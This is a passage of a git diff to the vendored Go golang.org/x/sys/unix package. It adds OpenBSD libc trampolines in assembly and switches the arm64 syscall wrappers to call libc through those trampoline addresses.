·libc_dup2_trampoline_addr(SB)/8, $libc_dup2_trampoline<>(SB) + +TEXT libc_dup3_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_dup3(SB) + +GLOBL ·libc_dup3_trampoline_addr(SB), RODATA, $8 +DATA ·libc_dup3_trampoline_addr(SB)/8, $libc_dup3_trampoline<>(SB) + +TEXT libc_exit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_exit(SB) + +GLOBL ·libc_exit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_exit_trampoline_addr(SB)/8, $libc_exit_trampoline<>(SB) + +TEXT libc_faccessat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_faccessat(SB) + +GLOBL ·libc_faccessat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_faccessat_trampoline_addr(SB)/8, $libc_faccessat_trampoline<>(SB) + +TEXT libc_fchdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchdir(SB) + +GLOBL ·libc_fchdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchdir_trampoline_addr(SB)/8, $libc_fchdir_trampoline<>(SB) + +TEXT libc_fchflags_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchflags(SB) + +GLOBL ·libc_fchflags_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchflags_trampoline_addr(SB)/8, $libc_fchflags_trampoline<>(SB) + +TEXT libc_fchmod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmod(SB) + +GLOBL ·libc_fchmod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchmod_trampoline_addr(SB)/8, $libc_fchmod_trampoline<>(SB) + +TEXT libc_fchmodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchmodat(SB) + +GLOBL ·libc_fchmodat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchmodat_trampoline_addr(SB)/8, $libc_fchmodat_trampoline<>(SB) + +TEXT libc_fchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchown(SB) + +GLOBL ·libc_fchown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchown_trampoline_addr(SB)/8, $libc_fchown_trampoline<>(SB) + +TEXT libc_fchownat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fchownat(SB) + +GLOBL ·libc_fchownat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fchownat_trampoline_addr(SB)/8, $libc_fchownat_trampoline<>(SB) + +TEXT libc_flock_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_flock(SB) + +GLOBL ·libc_flock_trampoline_addr(SB), RODATA, $8 +DATA ·libc_flock_trampoline_addr(SB)/8, $libc_flock_trampoline<>(SB) + +TEXT libc_fpathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fpathconf(SB) + +GLOBL ·libc_fpathconf_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fpathconf_trampoline_addr(SB)/8, $libc_fpathconf_trampoline<>(SB) + +TEXT libc_fstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstat(SB) + +GLOBL ·libc_fstat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstat_trampoline_addr(SB)/8, $libc_fstat_trampoline<>(SB) + +TEXT libc_fstatat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatat(SB) + +GLOBL ·libc_fstatat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstatat_trampoline_addr(SB)/8, $libc_fstatat_trampoline<>(SB) + +TEXT libc_fstatfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fstatfs(SB) + +GLOBL ·libc_fstatfs_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fstatfs_trampoline_addr(SB)/8, $libc_fstatfs_trampoline<>(SB) + +TEXT libc_fsync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_fsync(SB) + +GLOBL ·libc_fsync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_fsync_trampoline_addr(SB)/8, $libc_fsync_trampoline<>(SB) + +TEXT libc_ftruncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_ftruncate(SB) + +GLOBL ·libc_ftruncate_trampoline_addr(SB), RODATA, $8 +DATA ·libc_ftruncate_trampoline_addr(SB)/8, $libc_ftruncate_trampoline<>(SB) + +TEXT libc_getegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getegid(SB) + +GLOBL ·libc_getegid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getegid_trampoline_addr(SB)/8, $libc_getegid_trampoline<>(SB) + +TEXT libc_geteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_geteuid(SB) + +GLOBL ·libc_geteuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_geteuid_trampoline_addr(SB)/8, $libc_geteuid_trampoline<>(SB) + +TEXT libc_getgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getgid(SB) + +GLOBL ·libc_getgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getgid_trampoline_addr(SB)/8, $libc_getgid_trampoline<>(SB) + +TEXT libc_getpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgid(SB) + +GLOBL ·libc_getpgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpgid_trampoline_addr(SB)/8, $libc_getpgid_trampoline<>(SB) + +TEXT libc_getpgrp_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpgrp(SB) + +GLOBL ·libc_getpgrp_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpgrp_trampoline_addr(SB)/8, $libc_getpgrp_trampoline<>(SB) + +TEXT libc_getpid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpid(SB) + +GLOBL ·libc_getpid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpid_trampoline_addr(SB)/8, $libc_getpid_trampoline<>(SB) + +TEXT libc_getppid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getppid(SB) + +GLOBL ·libc_getppid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getppid_trampoline_addr(SB)/8, $libc_getppid_trampoline<>(SB) + +TEXT libc_getpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getpriority(SB) + +GLOBL ·libc_getpriority_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getpriority_trampoline_addr(SB)/8, $libc_getpriority_trampoline<>(SB) + +TEXT libc_getrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrlimit(SB) + +GLOBL ·libc_getrlimit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrlimit_trampoline_addr(SB)/8, $libc_getrlimit_trampoline<>(SB) + +TEXT libc_getrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrtable(SB) + +GLOBL ·libc_getrtable_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrtable_trampoline_addr(SB)/8, $libc_getrtable_trampoline<>(SB) + +TEXT libc_getrusage_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getrusage(SB) + +GLOBL ·libc_getrusage_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getrusage_trampoline_addr(SB)/8, $libc_getrusage_trampoline<>(SB) + +TEXT libc_getsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getsid(SB) + +GLOBL ·libc_getsid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getsid_trampoline_addr(SB)/8, $libc_getsid_trampoline<>(SB) + +TEXT libc_gettimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_gettimeofday(SB) + +GLOBL ·libc_gettimeofday_trampoline_addr(SB), RODATA, $8 +DATA ·libc_gettimeofday_trampoline_addr(SB)/8, $libc_gettimeofday_trampoline<>(SB) + +TEXT libc_getuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_getuid(SB) + +GLOBL ·libc_getuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_getuid_trampoline_addr(SB)/8, $libc_getuid_trampoline<>(SB) + +TEXT libc_issetugid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_issetugid(SB) + +GLOBL ·libc_issetugid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_issetugid_trampoline_addr(SB)/8, $libc_issetugid_trampoline<>(SB) + +TEXT libc_kill_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kill(SB) + +GLOBL ·libc_kill_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kill_trampoline_addr(SB)/8, $libc_kill_trampoline<>(SB) + +TEXT libc_kqueue_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_kqueue(SB) + +GLOBL ·libc_kqueue_trampoline_addr(SB), RODATA, $8 +DATA ·libc_kqueue_trampoline_addr(SB)/8, $libc_kqueue_trampoline<>(SB) + +TEXT libc_lchown_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lchown(SB) + +GLOBL ·libc_lchown_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lchown_trampoline_addr(SB)/8, $libc_lchown_trampoline<>(SB) + +TEXT libc_link_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_link(SB) + +GLOBL ·libc_link_trampoline_addr(SB), RODATA, $8 +DATA ·libc_link_trampoline_addr(SB)/8, $libc_link_trampoline<>(SB) + +TEXT libc_linkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_linkat(SB) + +GLOBL ·libc_linkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_linkat_trampoline_addr(SB)/8, $libc_linkat_trampoline<>(SB) + +TEXT libc_listen_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_listen(SB) + +GLOBL ·libc_listen_trampoline_addr(SB), RODATA, $8 +DATA ·libc_listen_trampoline_addr(SB)/8, $libc_listen_trampoline<>(SB) + +TEXT libc_lstat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lstat(SB) + +GLOBL ·libc_lstat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lstat_trampoline_addr(SB)/8, $libc_lstat_trampoline<>(SB) + +TEXT libc_mkdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdir(SB) + +GLOBL ·libc_mkdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkdir_trampoline_addr(SB)/8, $libc_mkdir_trampoline<>(SB) + +TEXT libc_mkdirat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkdirat(SB) + +GLOBL ·libc_mkdirat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkdirat_trampoline_addr(SB)/8, $libc_mkdirat_trampoline<>(SB) + +TEXT libc_mkfifo_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifo(SB) + +GLOBL ·libc_mkfifo_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkfifo_trampoline_addr(SB)/8, $libc_mkfifo_trampoline<>(SB) + +TEXT libc_mkfifoat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mkfifoat(SB) + +GLOBL ·libc_mkfifoat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mkfifoat_trampoline_addr(SB)/8, $libc_mkfifoat_trampoline<>(SB) + +TEXT libc_mknod_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknod(SB) + +GLOBL ·libc_mknod_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mknod_trampoline_addr(SB)/8, $libc_mknod_trampoline<>(SB) + +TEXT libc_mknodat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mknodat(SB) + +GLOBL ·libc_mknodat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mknodat_trampoline_addr(SB)/8, $libc_mknodat_trampoline<>(SB) + +TEXT libc_nanosleep_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_nanosleep(SB) + +GLOBL ·libc_nanosleep_trampoline_addr(SB), RODATA, $8 +DATA ·libc_nanosleep_trampoline_addr(SB)/8, $libc_nanosleep_trampoline<>(SB) + +TEXT libc_open_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_open(SB) + +GLOBL ·libc_open_trampoline_addr(SB), RODATA, $8 +DATA ·libc_open_trampoline_addr(SB)/8, $libc_open_trampoline<>(SB) + +TEXT libc_openat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_openat(SB) + +GLOBL ·libc_openat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_openat_trampoline_addr(SB)/8, $libc_openat_trampoline<>(SB) + +TEXT libc_pathconf_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pathconf(SB) + +GLOBL ·libc_pathconf_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pathconf_trampoline_addr(SB)/8, $libc_pathconf_trampoline<>(SB) + +TEXT libc_pread_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pread(SB) + +GLOBL ·libc_pread_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pread_trampoline_addr(SB)/8, $libc_pread_trampoline<>(SB) + +TEXT libc_pwrite_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_pwrite(SB) + +GLOBL ·libc_pwrite_trampoline_addr(SB), RODATA, $8 +DATA ·libc_pwrite_trampoline_addr(SB)/8, $libc_pwrite_trampoline<>(SB) + +TEXT libc_read_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_read(SB) + +GLOBL ·libc_read_trampoline_addr(SB), RODATA, $8 +DATA ·libc_read_trampoline_addr(SB)/8, $libc_read_trampoline<>(SB) + +TEXT libc_readlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlink(SB) + +GLOBL ·libc_readlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_readlink_trampoline_addr(SB)/8, $libc_readlink_trampoline<>(SB) + +TEXT libc_readlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_readlinkat(SB) + +GLOBL ·libc_readlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_readlinkat_trampoline_addr(SB)/8, $libc_readlinkat_trampoline<>(SB) + +TEXT libc_rename_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rename(SB) + +GLOBL ·libc_rename_trampoline_addr(SB), RODATA, $8 +DATA ·libc_rename_trampoline_addr(SB)/8, $libc_rename_trampoline<>(SB) + +TEXT libc_renameat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_renameat(SB) + +GLOBL ·libc_renameat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_renameat_trampoline_addr(SB)/8, $libc_renameat_trampoline<>(SB) + +TEXT libc_revoke_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_revoke(SB) + +GLOBL ·libc_revoke_trampoline_addr(SB), RODATA, $8 +DATA ·libc_revoke_trampoline_addr(SB)/8, $libc_revoke_trampoline<>(SB) + +TEXT libc_rmdir_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_rmdir(SB) + +GLOBL ·libc_rmdir_trampoline_addr(SB), RODATA, $8 +DATA ·libc_rmdir_trampoline_addr(SB)/8, $libc_rmdir_trampoline<>(SB) + +TEXT libc_lseek_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_lseek(SB) + +GLOBL ·libc_lseek_trampoline_addr(SB), RODATA, $8 +DATA ·libc_lseek_trampoline_addr(SB)/8, $libc_lseek_trampoline<>(SB) + +TEXT libc_select_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_select(SB) + +GLOBL ·libc_select_trampoline_addr(SB), RODATA, $8 +DATA ·libc_select_trampoline_addr(SB)/8, $libc_select_trampoline<>(SB) + +TEXT libc_setegid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setegid(SB) + +GLOBL ·libc_setegid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setegid_trampoline_addr(SB)/8, $libc_setegid_trampoline<>(SB) + +TEXT libc_seteuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_seteuid(SB) + +GLOBL ·libc_seteuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_seteuid_trampoline_addr(SB)/8, $libc_seteuid_trampoline<>(SB) + +TEXT libc_setgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setgid(SB) + +GLOBL ·libc_setgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setgid_trampoline_addr(SB)/8, $libc_setgid_trampoline<>(SB) + +TEXT libc_setlogin_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setlogin(SB) + +GLOBL ·libc_setlogin_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setlogin_trampoline_addr(SB)/8, $libc_setlogin_trampoline<>(SB) + +TEXT libc_setpgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpgid(SB) + +GLOBL ·libc_setpgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setpgid_trampoline_addr(SB)/8, $libc_setpgid_trampoline<>(SB) + +TEXT libc_setpriority_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setpriority(SB) + +GLOBL ·libc_setpriority_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setpriority_trampoline_addr(SB)/8, $libc_setpriority_trampoline<>(SB) + +TEXT libc_setregid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setregid(SB) + +GLOBL ·libc_setregid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setregid_trampoline_addr(SB)/8, $libc_setregid_trampoline<>(SB) + +TEXT libc_setreuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setreuid(SB) + +GLOBL ·libc_setreuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setreuid_trampoline_addr(SB)/8, $libc_setreuid_trampoline<>(SB) + +TEXT libc_setresgid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresgid(SB) + +GLOBL ·libc_setresgid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setresgid_trampoline_addr(SB)/8, $libc_setresgid_trampoline<>(SB) + +TEXT libc_setresuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setresuid(SB) + +GLOBL ·libc_setresuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setresuid_trampoline_addr(SB)/8, $libc_setresuid_trampoline<>(SB) + +TEXT libc_setrlimit_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrlimit(SB) + +GLOBL ·libc_setrlimit_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setrlimit_trampoline_addr(SB)/8, $libc_setrlimit_trampoline<>(SB) + +TEXT libc_setrtable_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setrtable(SB) + +GLOBL ·libc_setrtable_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setrtable_trampoline_addr(SB)/8, $libc_setrtable_trampoline<>(SB) + +TEXT libc_setsid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setsid(SB) + +GLOBL ·libc_setsid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setsid_trampoline_addr(SB)/8, $libc_setsid_trampoline<>(SB) + +TEXT libc_settimeofday_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_settimeofday(SB) + +GLOBL ·libc_settimeofday_trampoline_addr(SB), RODATA, $8 +DATA ·libc_settimeofday_trampoline_addr(SB)/8, $libc_settimeofday_trampoline<>(SB) + +TEXT libc_setuid_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_setuid(SB) + +GLOBL ·libc_setuid_trampoline_addr(SB), RODATA, $8 +DATA ·libc_setuid_trampoline_addr(SB)/8, $libc_setuid_trampoline<>(SB) + +TEXT libc_stat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_stat(SB) + +GLOBL ·libc_stat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_stat_trampoline_addr(SB)/8, $libc_stat_trampoline<>(SB) + +TEXT libc_statfs_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_statfs(SB) + +GLOBL ·libc_statfs_trampoline_addr(SB), RODATA, $8 +DATA ·libc_statfs_trampoline_addr(SB)/8, $libc_statfs_trampoline<>(SB) + +TEXT libc_symlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlink(SB) + +GLOBL ·libc_symlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_symlink_trampoline_addr(SB)/8, $libc_symlink_trampoline<>(SB) + +TEXT libc_symlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_symlinkat(SB) + +GLOBL ·libc_symlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_symlinkat_trampoline_addr(SB)/8, $libc_symlinkat_trampoline<>(SB) + +TEXT libc_sync_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sync(SB) + +GLOBL ·libc_sync_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sync_trampoline_addr(SB)/8, $libc_sync_trampoline<>(SB) + +TEXT libc_truncate_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_truncate(SB) + +GLOBL ·libc_truncate_trampoline_addr(SB), RODATA, $8 +DATA ·libc_truncate_trampoline_addr(SB)/8, $libc_truncate_trampoline<>(SB) + +TEXT libc_umask_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_umask(SB) + +GLOBL ·libc_umask_trampoline_addr(SB), RODATA, $8 +DATA ·libc_umask_trampoline_addr(SB)/8, $libc_umask_trampoline<>(SB) + +TEXT libc_unlink_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlink(SB) + +GLOBL ·libc_unlink_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unlink_trampoline_addr(SB)/8, $libc_unlink_trampoline<>(SB) + +TEXT libc_unlinkat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unlinkat(SB) + +GLOBL ·libc_unlinkat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unlinkat_trampoline_addr(SB)/8, $libc_unlinkat_trampoline<>(SB) + +TEXT libc_unmount_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_unmount(SB) + +GLOBL ·libc_unmount_trampoline_addr(SB), RODATA, $8 +DATA ·libc_unmount_trampoline_addr(SB)/8, $libc_unmount_trampoline<>(SB) + +TEXT libc_write_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_write(SB) + +GLOBL ·libc_write_trampoline_addr(SB), RODATA, $8 +DATA ·libc_write_trampoline_addr(SB)/8, $libc_write_trampoline<>(SB) + +TEXT libc_mmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_mmap(SB) + +GLOBL ·libc_mmap_trampoline_addr(SB), RODATA, $8 +DATA ·libc_mmap_trampoline_addr(SB)/8, $libc_mmap_trampoline<>(SB) + +TEXT libc_munmap_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_munmap(SB) + +GLOBL ·libc_munmap_trampoline_addr(SB), RODATA, $8 +DATA ·libc_munmap_trampoline_addr(SB)/8, $libc_munmap_trampoline<>(SB) + +TEXT libc_utimensat_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_utimensat(SB) + +GLOBL ·libc_utimensat_trampoline_addr(SB), RODATA, $8 +DATA ·libc_utimensat_trampoline_addr(SB)/8, $libc_utimensat_trampoline<>(SB) diff --git a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go index c96a50517..800aab6e3 100644 --- a/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go +++ b/vendor/golang.org/x/sys/unix/zsyscall_openbsd_arm64.go @@ -1,4 +1,4 @@ -// go run mksyscall.go -openbsd -tags openbsd,arm64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm64.go +// go run mksyscall.go -openbsd -libc -tags openbsd,arm64 syscall_bsd.go syscall_openbsd.go syscall_openbsd_arm64.go // Code generated by the command above; see README.md. DO NOT EDIT. //go:build openbsd && arm64 @@ -16,7 +16,7 @@ var _ syscall.Errno // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getgroups(ngid int, gid *_Gid_t) (n int, err error) { - r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + r0, _, e1 := syscall_rawSyscall(libc_getgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) n = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -24,20 +24,28 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) { return } +var libc_getgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getgroups getgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setgroups(ngid int, gid *_Gid_t) (err error) { - _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) + _, _, e1 := syscall_rawSyscall(libc_setgroups_trampoline_addr, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setgroups_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setgroups setgroups "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) { - r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) + r0, _, e1 := syscall_syscall6(libc_wait4_trampoline_addr, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0) wpid = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -45,10 +53,14 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err return } +var libc_wait4_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_wait4 wait4 "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { - r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) + r0, _, e1 := syscall_syscall(libc_accept_trampoline_addr, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen))) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -56,30 +68,42 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) { return } +var libc_accept_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_accept accept "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_bind_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_bind_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_bind bind "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) { - _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen)) + _, _, e1 := syscall_syscall(libc_connect_trampoline_addr, uintptr(s), uintptr(addr), uintptr(addrlen)) if e1 != 0 { err = errnoErr(e1) } return } +var libc_connect_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_connect connect "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func socket(domain int, typ int, proto int) (fd int, err error) { - r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto)) + r0, _, e1 := syscall_rawSyscall(libc_socket_trampoline_addr, uintptr(domain), uintptr(typ), uintptr(proto)) fd = int(r0) if e1 != 0 { err = errnoErr(e1) @@ -87,66 +111,94 @@ func socket(domain int, typ int, proto int) (fd int, err error) { return } +var libc_socket_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_socket socket "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) { - _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) + _, _, e1 := syscall_syscall6(libc_getsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_getsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_getsockopt getsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) { - _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) + _, _, e1 := syscall_syscall6(libc_setsockopt_trampoline_addr, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0) if e1 != 0 { err = errnoErr(e1) } return } +var libc_setsockopt_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_setsockopt setsockopt "libc.so" + // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) { - _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), 